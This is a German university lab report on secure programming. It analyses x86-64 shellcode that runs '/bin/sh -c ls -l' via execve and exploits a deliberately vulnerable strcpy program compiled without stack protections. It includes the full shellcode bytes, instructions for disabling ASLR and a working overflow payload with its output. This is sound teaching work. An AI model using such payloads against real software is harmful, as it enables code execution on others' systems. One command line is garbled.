

Sichere Programmierung

Projekt 3

David Pierre Sugar
(76050)
Julian Sobott
(76511)

1 Einleitung

Nachdem wir uns während des letzten Praktikums grundlegend mit Assembler und dem GDB auseinander gesetzt haben, wird es nun Zeit diese neu gewonnenen Fähigkeiten zu nutzen um einen größeren Assembler-Code-Block zu analysieren.

Wie auch im letzten Praktikum greifen wir dabei auf die **GEF** Erweiterung für GDB zu.

2 Ein interessanter Shellcode

Auf den ersten Blick scheint der hier vorliegende Shellcode wirklich interessant. Beim überfliegen der Codezeilen fällt dabei auf, dass mittels **PUSH** und **POP** Operationen überdurchschnittlich oft der **Stack verändert wird**. Auch werden in einigen Zeilen bisher noch nicht zuordnungsbare **Konstanten** auf den Stack gepushed. Am Schluss wird jedoch ein **Systemcall** ausgeführt was dafür spricht, dass die für den Systemcall nötigen Daten auf dem Stack vorbereitet werden.

Da sich der Ablauf jedoch nicht so ohne weiteres ablesen lässt, wird im ersten Schritt der Shellcode **Zeile für Zeile** analysiert.

2.1 Analyse

Bei der Analyse von Assembler Code sollte man sich als erstes bewusst machen, **welche Register** involviert sind und wie der zugehörige **Stack Frame** ausgelegt ist. Dafür beginnt man in der ersten Zeile, analysiert diese und hält mögliche Veränderungen von Registern und Stack fest. Diesen Schritt wiederholt man Schritt für Schritt in jeder Code Zeile. Dabei sollte man dem Programmfluss folgen, d.h. bei einem Branch fährt man, mit der Analyse, beim angegebenen Sprungziel fort.

Das folgende Diagramm zeigt die vollständige Analyse des Shellcodes. Dabei werden teilweise mehrere Instruktionen in einem Schritt behandelt, wenn diese logisch zusammenhängen.

```

1 Vorbedingung:
2
3 STACK:
4 ----- <- RSP
5
6 REGISTER:    -
7
8 1. #####
9
10 Code:
11 xor      rcx, rcx
12 push     rcx
13
14 STACK:
15 -----
16 |          0x0          |
17 ----- <- RSP
18
19 REGISTER:    RCX = 0x0
20
21 2. #####
22
23 Code:
24 mov rcx, 0x68732f6e69622fff
25
26 STACK:
27 -----
28 |          0x0          |
29 ----- <- RSP
30
31 REGISTER:    RCX = 0x68732f6e69622fff
32
33 3. #####
34
35 Code:
36 shr rcx, 0x8      ; rcx >> 8
37
38 STACK:
39 -----
40 |          0x0          |
41 ----- <- RSP
42
43 REGISTER:    RCX = 0x0068732f6e69622f
44
45
46 4. #####
47
48 Code:
49 push rcx

```

```

50
51 STACK:
52 -----
53 |           0x0           |
54 -----
55 | 0x0068732f6e69622f    |
56 ----- <- RSP
57
58 REGISTER:   RCX = 0x0068732f6e69622f
59
60 5. #####
61
62 Code:
63 push rsp
64
65 STACK:
66 -----
67 |           0x0           |
68 -----
69 | 0x0068732f6e69622f    |
70 ----- <- A
71 |           A           |
72 ----- <- RSP
73
74 REGISTER:   RCX = 0x0068732f6e69622f
75
76 6. #####
77
78 Code:
79 pop rdi
80
81 STACK:
82 -----
83 |           0x0           |
84 -----
85 | 0x0068732f6e69622f    |
86 ----- <- A/ RSP
87
88 REGISTER:   RCX = 0x0068732f6e69622f
89             RDI = A
90
91
92 7. #####
93
94 Code:
95 xor      rcx, rcx
96 push     rcx
97
98 STACK:

```

```

99 -----
100 |           0x0           |
101 -----
102 | 0x0068732f6e69622f    |
103 ----- <- A
104 |           0x0           |
105 ----- <- RSP
106
107 REGISTER:   RCX = 0x0
108             RDI = A
109
110 8. #####
111
112 Code:
113 push word 0x632d
114
115 STACK:
116 -----
117 |           0x0           |
118 -----
119 | 0x0068732f6e69622f    |
120 ----- <- A
121 |           0x0           |
122 -----
123 |           0x632d        |           2-Bytes
124 ----- <- RSP
125
126 REGISTER:   RCX = 0x0
127             RDI = A
128
129 9. #####
130
131 Code:
132 push rsp
133
134 STACK:
135 -----
136 |           0x0           |
137 -----
138 | 0x0068732f6e69622f    |
139 ----- <- A
140 |           0x0           |
141 -----
142 |           0x632d        |           2-Bytes
143 ----- <- B
144 |           B             |
145 ----- <- RSP
146
147 REGISTER:   RCX = 0x0

```

```

148             RDI = A
149
150 10. #####
151
152 Code:
153 pop rbx
154
155 STACK:
156 -----
157 |             0x0             |
158 -----
159 | 0x0068732f6e69622f         |
160 ----- <- A
161 |             0x0             |
162 -----
163 |             0x632d          | 2-Bytes
164 ----- <- B/ RSP
165
166 REGISTER:   RCX = 0x0
167             RDI = A
168             RBX = B
169
170 11. #####
171
172 Code:
173 xor     rcx, rcx
174 push    rcx
175
176 STACK:
177 -----
178 |             0x0             |
179 -----
180 | 0x0068732f6e69622f         |
181 ----- <- A
182 |             0x0             |
183 -----
184 |             0x632d          | 2-Bytes
185 ----- <- B
186 |             0x0             |
187 ----- <- RSP
188
189 REGISTER:   RCX = 0x0
190             RDI = A
191             RBX = B
192
193
194 12. #####
195
196 Code:

```

```

197 jmp      command
198 call     execve
199 data:    db "ls -lA"      ; Die Adresse des Strings wird
200                                ; wird als Rücksprungadresse auf den Stack
201                                ; gepushed
202 STACK:
203 -----
204 |          0x0          |
205 -----
206 | 0x0068732f6e69622f |
207 ----- <- A
208 |          0x0          |
209 -----
210 |          0x632d       |          2-Bytes
211 ----- <- B
212 |          0x0          |
213 -----
214 |          x-----|-----> "ls -lA"
215 ----- <- RSP
216
217 REGISTER:  RCX = 0x0
218            RDI = A
219            RBX = B
220
221 13. #####
222
223 Code:
224 pop      rdx
225 push     rdx
226
227 STACK:
228 -----
229 |          0x0          |
230 -----
231 | 0x0068732f6e69622f |
232 ----- <- A
233 |          0x0          |
234 -----
235 |          0x632d       |          2-Bytes
236 ----- <- B
237 |          0x0          |
238 -----
239 |          x-----|-----> "ls -lA"
240 ----- <- RSP
241
242 REGISTER:  RCX = 0x0
243            RDI = A
244            RBX = B
245            RDX = PTR to "ls -lA"

```

```

246
247 14. #####
248
249 Code:
250 xor byte [rdx+5], 0x41      ; ersetze A durch \0 (ASCII 0x41 = 'A')
251
252 STACK:
253 -----
254 |          0x0          |
255 -----
256 | 0x0068732f6e69622f    |
257 ----- <- A
258 |          0x0          |
259 -----
260 |          0x632d        |          2-Bytes
261 ----- <- B
262 |          0x0          |
263 -----
264 |          x-----|-----> "ls -l\0"
265 ----- <- RSP
266
267 REGISTER:   RCX = 0x0
268             RDI = A
269             RBX = B
270             RDX = PTR to "ls -l\0"
271
272 15. #####
273
274 Code:
275 push rbx
276
277 STACK:
278 -----
279 |          0x0          |
280 -----
281 | 0x0068732f6e69622f    |
282 ----- <- A
283 |          0x0          |
284 -----
285 |          0x632d        |          2-Bytes
286 ----- <- B
287 |          0x0          |
288 -----
289 |          x-----|-----> "ls -l\0"
290 -----
291 |          B          |
292 ----- <- RSP
293
294 REGISTER:   RCX = 0x0

```

```

295         RDI = A
296         RBX = B
297         RDX = PTR to "ls -l\0"
298
299
300 16. #####
301
302 Code:
303 push rdi
304
305 STACK:
306 -----
307 |           0x0           |
308 -----
309 | 0x0068732f6e69622f      |
310 ----- <- A
311 |           0x0           |
312 -----
313 |           0x632d         |           2-Bytes
314 ----- <- B
315 |           0x0           |
316 -----
317 |           x-----      | -----> "ls -l\0"
318 -----
319 |           B             |
320 -----
321 |           A             |
322 ----- <- RSP
323
324 REGISTER:   RCX = 0x0
325             RDI = A
326             RBX = B
327             RDX = PTR to "ls -l\0"
328
329 17. #####
330
331 Code:
332 push rsp
333
334 STACK:
335 -----
336 |           0x0           |
337 -----
338 | 0x0068732f6e69622f      |
339 ----- <- A
340 |           0x0           |
341 -----
342 |           0x632d         |           2-Bytes
343 ----- <- B

```



```

344 |          0x0          |
345 -----
346 |          x-----|-----> "ls -l\0"
347 -----
348 |          B          |
349 -----
350 |          A          |
351 ----- <- C
352 |          C          |
353 ----- <- RSP
354
355 REGISTER:   RCX = 0x0
356             RDI = A
357             RBX = B
358             RDX = PTR to "ls -l\0"
359
360 18. #####
361
362 Code:
363 pop rsi
364
365 STACK:
366 -----
367 |          0x0          |
368 -----
369 | 0x0068732f6e69622f |
370 ----- <- A
371 |          0x0          |
372 -----
373 |          0x632d       |          2-Bytes
374 ----- <- B
375 |          0x0          |
376 -----
377 |          x-----|-----> "ls -l\0"
378 -----
379 |          B          |
380 -----
381 |          A          |
382 ----- <- C/ RSP
383
384 REGISTER:   RCX = 0x0
385             RDI = A
386             RBX = B
387             RDX = PTR to "ls -l\0"
388             RSI = C
389
390 19. #####
391
392 Code:

```

```

393 xor rdx, rdx
394 mov al, 0x3B
395
396 STACK:
397 -----
398 |          0x0          |
399 -----
400 | 0x0068732f6e69622f |
401 ----- <- A
402 |          0x0          |
403 -----
404 |          0x632d        |          2-Bytes
405 ----- <- B
406 |          0x0          |
407 -----
408 |          x-----|-----> "ls -l\0"
409 -----
410 |          B          |
411 -----
412 |          A          |
413 ----- <- C/ RSP
414
415 REGISTER:   RCX = 0x0
416             RDI = A
417             RBX = B
418             RDX = 0x0
419             RSI = C
420             RAX = 0x000000000000003B
421
422
423 20. #####
424
425 Code:                SYSCALL

```

Zum Zeitpunkt des Systemcalls liegt folgender Zustand vor.

```

1  STACK :
2  -----
3  |          0x0          |
4  -----
5  |  0x0068732f6e69622f  | <-----
6  -----
7  |          0x0          |
8  -----
9  |          0x632d       | <-----
10 -----
11 |          0x0          |
12 -----
13 |          x-----    | -----> "ls -l\0"
14 -----
15 |          B-----    | -----
16 -----
17 |          A-----    | -----
18 ----- <- C
19
20 REGISTER:   RCX = 0x0
21             RDI = A
22             RBX = B
23             RDX = 0x0
24             RSI = C
25             RAX = 0x000000000000003B

```

Als nächstes gilt es zu klären, welcher Systemcall aufgerufen wird und welche Argumente dabei übergeben werden. Dazu muss man sich jedoch über die **Systemcall Calling Convention**, für x86-64Bit, im klaren sein.

2.1.1 Systemcalls

Der Linux Kernel stellt eine Reihe von Operationen bereit, die er stellvertretend für andere Prozesse ausführen kann. Dazu zählen u.a. Operationen zum allozieren von Speicher auf dem Heap oder auch Zugriffe auf Dateien. Die Schnittstelle bildet dabei die **syscall** Instruktion für neuere 64-Bit Systeme, bzw. die **0x80** Instruktion für ältere 32-Bit Systeme.

Calling Convention

Die Operation, die der Kernel für einen Prozess ausführen soll wird durch die sog. **Syscall Number** spezifiziert, die in das **RAX** Register geschrieben wird. So wird ein **READ** Befehl z.B. durch die Nummer **0x0** angegeben.

Die Argumente für jeden Systemcall werden **mittels Register** übergeben. Für 64 Bit

Programme wären dies, in der angegebenen Reihenfolge: RDI, RSI, RDX, RCX, R10, R8, R9.

Nachdem die jeweilige Syscall Number in das RAX Register geschrieben wurde und die Argumente ebenfalls in die entsprechenden Register, kann mit dem `syscall` Befehl eine Anfrage abgesetzt werden.

Ablauf

Durch die `syscall` Instruktion wechselt der Prozessor vom **User Mode** in den **Kernel Mode** und ruft den **Trap Handler** auf. Dieser überprüft ob es sich bei dem in RAX hinterlegten Wert um eine valide Syscall Number handelt und ob zulässige Argumente übergeben wurden. Falls ja indiziert der Trap Handler die **Sycall Tabelle** um die Adresse der zur Syscall Number gehörenden **Systemcall Service Routine** zu erhalten und springt zu dieser.

Die Systemcall Service Routine führt dann die gewünschte Aktion aus. **AUSFÜHRLICHER**

Eine vollständige Liste aller Systemcalls und der zu übergebenden Argumente findet sich online, z.B. hier.

2.2 Analyse Fortsetzung

Da die Syscall Number immer über das **A-Register** angegeben wird, ist es nun eine Leichtigkeit herauszufinden, welcher Syscall im gegebenen Shellcode verwendet wird. Der Wert der zur Zeit des Syscalls in RAX steht ist **59**. Durch eine kurze Onlinerecherche ergibt sich damit, dass es sich hierbei um den **execve** Syscall handelt. Dieser hat folgende Struktur.

```
1 execve(const char* filename, const char* const argv[],
2       const char* const envp[])
```

2.2.1 Exec

Die Familie der **exec** System Calls wird dazu genutzt den derzeit laufenden Prozess durch einen neuen Prozess zu ersetzen (siehe man `execve`). Die einzelnen Parameter haben dabei folgende Bedeutungen.

filename Nullterminierter String (`'\0'`) des Programms, mit dem der derzeitige Prozess ersetzt werden soll.

argv Mit `'(char*) NULL'` terminiertes Array von Kommandozeilen Parametern als Strings.

envp Mit `'(char*) NULL'` terminiertes Array von Environment-Variablen als Strings.

Bei Erfolg wird der derzeitige Prozess durch das in `filename` angegebene Programm ersetzt. Bei einem fehlerhaften Aufruf von `execve`, wird `-1` zurückgegeben.

Um den derzeitigen Prozess z.B. durch eine Shell zu ersetzen, kann folgender Aufruf verwendet werden.

```
1  execve("/bin/sh\0", NULL, NULL)
```

Hier wurde auf die Übergabe von Argumenten an den neuen Prozess verzichtet.

Schaut man sich nun das Layout des Stacks unmittelbar vor dem Aufruf von `syscall` an, kann man diesen in drei Teilbereiche gliedern, die jeweils für `filename`, `argv` und `envp` stehen. Weiterhin können die bisher noch nicht zuordnungsbaaren Hexadezimalzahlen als Strings interpretiert werden. Dabei ist daran zu denken, dass Werte grundsätzlich im Little-Endian Format abgespeichert werden, d.h. das niederwertigste Byte wird an die unterste Speicheradresse geschrieben.

```
1  STACK :
2  -----
3  |          0x0          |
4  -----
5  |      "/bin/sh"      | ----- filename
6  ----- <- A / argv[0]
7  |          0x0          |
8  -----
9  |      "-c"           |
10 ----- <- B / argv[1]
11 |          0x0          | -----
12 -----
13 |          x-----> "ls -l\0" |
14 ----- | -- argv
15 |          B           |
16 -----
17 |          A           | -----
18 ----- <- C
19
20 REGISTER:  RDI = A      (filename)
21            RSI = C      (argv)
22            RDX = 0x0     (envp)
23
24 STRINGS :
25 0x00 68 73 2f 6e 69 62 2f = "/bin/sh"
26 |_ | |_ | |_ | |_ | |_ | |_ |
27 |   |   |   |   |   |   |   |
28 \0  h  s  /  n  i  b  /
29
30 0x63 2d = "-c"
31 |_ | |_ |
32 |   |   |
33 c   -
```

Die untersten 32 Bit des Stacks bilden das argv Array. Jeder 8 Bit Block hält dabei einen Zeiger auf einen nullterminierten String. Darüber liegen die Strings, die in argv verwendet werden. **argv[0]**/ **A** spezifiziert dabei das aufzurufende Programm, **argv[1]**/ **B** ist die zu verwendende kommandozeilenooption, "-c", die übergeben werden soll. Die gegebene Option sorgt dafür, dass der nach den Optionen folgende String von der Shell ausgeführt wird. **argv[2]**/ **x** ist das in der Shell auszuführende Programm.

Mit diesen Informationen ergibt sich folgender Systemcall.

```
1 char* argv[] = {"/bin/sh", "-c", "ls -l"};
2
3 execve("/bin/sh", argv, (char*) NULL);
```

Dieser ersetzt den derzeitigen Prozess mit einer neuen Shell und führt in dieser das Programm `ls -l` aus.

2.3 Implementierung

Um den Shellcode zu implementieren, wird dieser in eine Datei mit der Endung **.asm** übertragen, in diesem Fall **exec.asm**.

Mit `nasm -f elf64 exec.asm` kann danach eine 64-Bit Object Datei erzeugt werden.

Mit `ld -N exec.o -o exec` kann diese dann zu einer ausführbaren Datei gelinkt werden, um sie danach auszuführen. Wichtig ist, dass die **-N** Option mit angegeben wird, da die Text Section standardmäßig nicht schreibbar ist, wodurch jeder solche Versuch zu einem Segmentation fault führt.

Listing 1: Ohne -N Option

```
1 >> nasm -f elf64 exec.asm
2 >> ld exec.o -o exec
3 >> ./exec
4 [1] 2822 segmentation fault (core dumped) ./exec
```

Listing 2: Mit -N Option

```
1 >> nasm -f elf64 exec.asm
2 >> ld -N exec.o -o exec
3 >> ./exec
4 total 12
5 -rwxr-xr-x 1 sugar sugar 848 Dec 25 14:21 exec
6 -rw-r--r-- 1 sugar sugar 754 Dec 25 14:11 exec.asm
7 -rw-r--r-- 1 sugar sugar 736 Dec 25 14:12 exec.o
```

2.4 Entwicklung eins Python-Skript

Um ein Skript zu entwickeln, dass den Shellcode über das Programm **hackme** ausführt, muss als erstes der Code aus der Object (.o) Datei extrahiert werden. Dazu kann das Programm **objcopy** verwendet werden.

```
1 objcopy -O binary exec.o exec.bin
```

Die **-O binary** Option generiert einen Speicher Dump des Inhalts der Quelldatei ohne dabei die Metainformationen zu übernehmen. Nun muss der extrahierte Binärcode noch in Hexadezimal umformatiert werden, um ihn bequem in einem Skript nutzen zu können. Dies kann mit einem eigenen Python Skript realisiert werden, das als Ausgangspunkt für das eigentliche Skript dient.

```
1 #!/bin/python2
2
3 import sys
4
5 shellcode          = ""
6 shellcode_length   = 0
7
8 binary = open(sys.argv[1], 'rb')
9
10 for byte in binary.read():
11     shellcode = shellcode + ("\x" + byte.encode("hex"))
12     shellcode_length += 1
13
14 print(shellcode)
15 print("\nLength: " + str(shellcode_length))
```

Das Skript liest eine übergebene Binärdatei ein und wandelt der Reihe nach jedes Byte in seine Hexadizimalrepräsentation um. Gleichzeitig wird die Anzahl der Bytes, d.h. die Länge des Shellcodes ermittelt. Wichtig ist, dass Python2 verwendet wird da unter Python3 für Bytes die **encode()** methode nicht mehr zur Verfügung steht. Mit diesem Skript lässt sich nun der extrahierte Binärcode in Hexadezimal umwandeln und auf der Kommandozeile ausgeben.

```
1 >> ./exec_shellcode.py exec.bin
2 \x48\x31\xc9\x51\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73
3 \x68\x48\xc1\xe9\x08\x51\x54\x5f\x48\x31\xc9\x51\x66
4 \x68\x2d\x63\x54\x5b\x48\x31\xc9\x51\xeb\x11\x5a\x52
5 \x80\x72\x05\x41\x53\x57\x54\x5e\x48\x31\xd2\xb0\x3b
6 \x0f\x05\xe8\xea\xff\xff\xff\x6c\x73\x20\x2d\x6c\x41
7
8 Length: 65
```

Als nächstes gilt es den Shellcode noch mit einem **NOP Sled** sowie einer **Rücksprungsadresse** zu versehen um die letztendliche Payload zu erhalten. Dafür muss aber zuerst noch das **hackme** Programm analysiert werden, um die Größe des Sleds richtig wählen zu können.

2.4.1 Analyse von hackme

Listing 3: hackme.c

```
1 #include <stdio.h>
```

```

2 #include <string.h>
3
4 void print(char* s) {
5     char buffer[200];
6
7     strcpy(buffer, s); // SCHWACHSTELLE
8     printf("Anfang von buffer: %p\n", buffer);
9     printf("Inhalt von buffer: %s\n", buffer);
10 }
11
12 int main(int argc , char ** argv) {
13     if (argc == 2) {
14         print(argv [1]);
15     } else {
16         printf("Bitte ein Argument übergeben .\n");
17     }
18
19     return 0;
20 }

```

Das Programm `hackme` wurde mit dem Kommandozeilenbefehl

`'gcc -z execstack -fno-stack-protector hackme.c -o hackme'` compiliert. Durch die angegebene Option wird kein Canary Wert mit auf dem Stack hinterlegt, durch den normalerweise geprüft wird, ob eine Verletzung der Grenzen des Stack-Frames vorliegt. Außerdem wird mit `-z execstack` der Stack als ausführbar markiert, andernfalls könnte der Shellcode nicht ausgeführt werden und man müsste auf Alternativen wie z.B. **Return Oriented Programming (ROP)** ausweichen.

Das Programm wird nun mittels GDB debugged.

```

1 >> gdb hackme

```

Die Schwachstelle befindet sich in der `print()` Funktion. Diese benutzt `strcpy()` um den Inhalt eines Buffers in einen zweiten Buffer zu übertragen. Dabei wird jedoch die Größe des Ziel-Buffers nicht berücksichtigt, wodurch es zu einem Buffer-Overflow kommen kann. Genau diese Schwachstelle ist der Eintrittspunkt für unseren Shellcode.

Als nächstes wird die `print()` Funktion disassembliert.

```

1 gef> disass print
2 Dump of assembler code for function print:
3     push    rbp
4     mov     rbp,rsp
5     sub     rsp,0xe0                ; alloziert 224 Bytes auf dem Stack
6     mov     QWORD PTR [rbp-0xd8],rdi ; speichert s auf dem Stack
7     mov     rdx,QWORD PTR [rbp-0xd8]
8     lea     rax,[rbp-0xd0]          ; rax := Adresse des Ziel Buffers
9     mov     rsi,rdx                 ; Source
10    mov     rdi,rax                 ; Target
11    call    0x1030 <strcpy@plt>
12    ...

```


Die gezeigten Befehle allozieren zuerst Speicher für den Buffer und den Parameter **s** auf dem Stack. Danach wird die Startadresse des allozierten Buffers in **RDI** und die Adresse des Quell-Buffers in **RSI** geschrieben.

Damit ergibt sich folgendes Layout für den Stack-Frame.

1	STACK :		
2	-----		
3	RETURNADDRESS	8 Byte	
4	-----		
5	SAVED RBP	8 Byte	
6	-----	<- RBP	
7		8 Byte	
8	-----		
9			
10			
11	BUFFER	200 Byte	
12			
13			
14	-----	<- buffer	
15	char* s	8 Byte	
16	-----		
17		8 Byte	
18	-----	<- RSP	

Zwischen dem Anfang des Buffers und der Rücksprungadresse liegen **216 Bytes**, d.h. durch die Übergabe eines Strings **w** der Länge $|w| > 216$, an **hackme**, kann die Rücksprungadresse kontrolliert werden.

Um den Shellcode durch **hackme** ausführen zu können, muss nun eine geeignete Payload erstellt werden. Diese besteht aus einem NOP Sled, dem Shellcode und schlussendlich einer Adresse die in den Sled zeigt.

1	-----	
2		
3	\	
4	N x '0x90' Shellcode ADDR	

NOPs sind Instruktionen, die zu keiner Veränderung des Zustands einzelner Register führen (außer **RIP**). Früher wurden solche Instruktionen häufig eingesetzt um auf die Ergebnisse vorangegangener Instruktionen zu warten, die noch nicht vorlagen. Damit der übergebene Shellcode ausgeführt werden kann, muss der Instruction Pointer so manipuliert werden, dass er auf den Anfang des übergebenen Codes Zeigt. Dies geschieht durch das Überschreiben der Rücksprungadresse. Durch das Überschreiben der Rücksprungadresse springt der Prozess nicht zurück in die aufrufende Funktion sondern an eine von uns gewünschte Stelle. Durch einen NOP Sled muss die Sprungadresse nicht mehr exakt angegeben werden, sondern nur noch in den Sled zeigen. Sobald der Prozess in den Sled gesprungen ist, 'rutscht' er einfach bis zur ersten Instruktion des Shellcodes durch. Dies vereinfacht die Injektion des Shellcodes. Dabei gilt, je größer der Sled um so besser. Ziel

ist es nun NOP Sled und Adresse so zu wählen, dass das Programm den Shellcode ausführt.

Um die Rücksprungadresse überschreiben zu können, muss der übergebene String 216 Bytes lang sein, plus die **sechs Byte, die die Rücksprungadresse darstellen**. Der Shellcode selber ist 65 Bytes lang. Daraus ergibt sich, dass der NOP Sled $216 - 65 = 151$ Bytes lang sein muss. Nach dem `strcpy()` aufruf sollte der Stack demnach wie folgt aussehen.

```
1  STACK :
2  -----
3  |          ADDR =====|=====
4  |-----|-----|-----|
5  |          |          |          |
6  |    SHELL CODE    |    | - 65 Bytes    |
7  |          |          |          |
8  |-----|-----|-----|
9  |          |          |          |
10 |    151 x '0x90'    |    | -- 151 Bytes    |
11 |          |          |          |
12 |          | <=====|
13 |-----|-----|-----|
```

Nun gilt es noch eine **gültige Adresse** zu wählen, damit an die richtige Stelle im Stack gesprungen wird. In diesem Fall ist für Übungszwecke **ASLR** (address space layout randomization), eine zufällige Wahl der Speicheradressen, ausgeschaltet. Dies vereinfacht den Prozess der Adresswahl, da diese nur einmal ermittelt werden muss. Andernfalls müsste z.B. auf ein **Brute-Force** Ansatz zurückgegriffen werden, bei dem das Programm sooft ausgeführt wird, bis die Sprungadresse durch Zufall tatsächlich im NOP Sled liegt. Dies ist wahrscheinlicher als es sich anhört, da die ersten 12 Bit der Adresse statisch sind, was die Wahrscheinlichkeit für einen Treffer erhöht.

Es gibt dabei verschiedene Stufen von ASLR, nämlich 0 (aus) , 1 und 2 (vollständig). Durch das Schreiben in die Datei `/proc/sys/kernel/randomize_va_space` kann dieser geändert werden. Um ASLR nun auf dem System temporär auszuschalten kann folgender Kommandozeilenbefehl verwendet werden, der die Zahl 0 in die genannte Datei schreibt.

```
1  >> sudo sysctl -w kernel.randomize_va_space= sudo sysctl -w kernel.randomize_v
```

Das Programm `hackme` kommt einem bei der Suche nach der richtigen Sprungadresse sogar noch zuvor, indem es die Adresse der Startadresse des Buffers beim Ausführen mit angibt. Andernfalls kann man auch GDB nutzen um eine geeignete Adresse zu erhalten.

Zum Vergleich hier die Ausgabe einmal mit ASLR eingeschaltet und einmal ohne.

Listing 4: ASLR enabled

```
1  >> cat /proc/sys/kernel/randomize_va_space
2  2
3  >> ./hackme hello
4  Anfang von buffer: 0x7ffdc776aec0
5  Inhalt von buffer: hello
```

```

6 » ./hackme hello
7 Anfang von buffer: 0x7fffa0345140
8 Inhalt von buffer: hello

```

Listing 5: ASLR disabled

```

1 » cat /proc/sys/kernel/randomize_va_space
2 0
3 » ./hackme hello
4 Anfang von buffer: 0x7fffffffdeb0
5 Inhalt von buffer: hello
6 » ./hackme hello
7 Anfang von buffer: 0x7fffffffdeb0
8 Inhalt von buffer: hello

```

Im ersten Beispiel ist ASLR eingeschaltet, d.h. `randomize_va_space` enthält den Wert 2. Jeder Aufruf von `hackme` führt zu einer gänzlich anderen Adresse, wobei sich die vorderen 12 Bit jeweils nicht verändern.

Im zweiten Beispiel ist ASLR ausgeschaltet. Hier werden bei jedem Aufruf die selben Adressen verwendet.

2.4.2 Den Shellcode ausführen

Nun wird es Zeit, die Theorie in die Praxis umzusetzen und erst einmal ohne Skript den Shellcode über `hackme` auszuführen. Dafür wird folgender Python Befehl auf der Kommandozeile ausgeführt und danach durch Command Substitution, `hackme` als Argument übergeben.

Aufgrund eines bisher nicht nachvollziehbaren Fehlers, wurde der Ansatz gewechselt und auf einen NOP Sled verzichtet. Stattdessen wird der benötigte Platz mit einer Folge von beliebigen Zeichen aufgefüllt, um die Rücksprungadresse überschreiben zu können.

```

1 ./hackme "$(python -c 'print "\x48\x31\xc9\x51\x48\xb9\xff\x2f\x62\x69
2 \x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x54\x5f\x48\x31\xc9\x51\x66\x68
3 \x2d\x63\x54\x5b\x48\x31\xc9\x51\xeb\x11\x5a\x52\x80\x72\x05\x41\x53
4 \x57\x54\x5e\x48\x31\xd2\xb0\x3b\x0f\x05\xe8\xea\xff\xff\xff\x6c\x73
5 \x20\x2d\x6c\x41AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
7 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\xdd\xff\xff\xff\x7f"')'
8 Anfang von buffer: 0x7fffffffdd50
9 Inhalt von buffer: H1QH/bin/ shHQT_H1Qfh-cT[ H1QZRrASWT^H1 ;ls
10 -lAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
11 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
12 AAAAAAAP
13 total 72
14 -rwxrwxr-x 1 tux tux 489 Jan 5 11:45 convert.py
15 -rwxrwxr-x 1 tux tux 90 Jan 5 10:48 ding.sh
16 -rwxrwxr-x 1 tux tux 848 Jan 5 10:20 exec
17 -rw-rw-r-- 1 tux tux 754 Jan 5 11:22 exec.asm
18 -rw-rw-r-- 1 tux tux 65 Jan 5 10:22 exec.bin

```

```
19 -rw-rw-r-- 1 tux tux 736 Jan 5 10:20 exec.o
20 ...
```

Hier wird der Python Kommandozeilen-Interpreter genutzt, der durch das `-c` Flag eingeschaltet wird. Dieser führt den Code, der im nachfolgendem String steht aus. Hierbei wird der Shellcode selber plus ein Padding aus 'A's sowie der gewünschten Rücksprungadresse auf der Kommandozeile ausgegeben. Der Python Aufruf ist dabei selber wieder mit `"$()"` umgeben. Dabei handelt es sich um sogenannte Command Substitution. Dabei wird der in den Klammer stehende Befehl ausgeführt und das Ergebnis an der jeweiligen Stelle eingefügt. Somit kann die Payload an `hackme` übergeben und somit der gewünschte Shellcode ausgeführt werden.

2.4.3 Das Script

Die erlangten Erkenntnisse wurden im Skript `hack.py` zusammengeführt.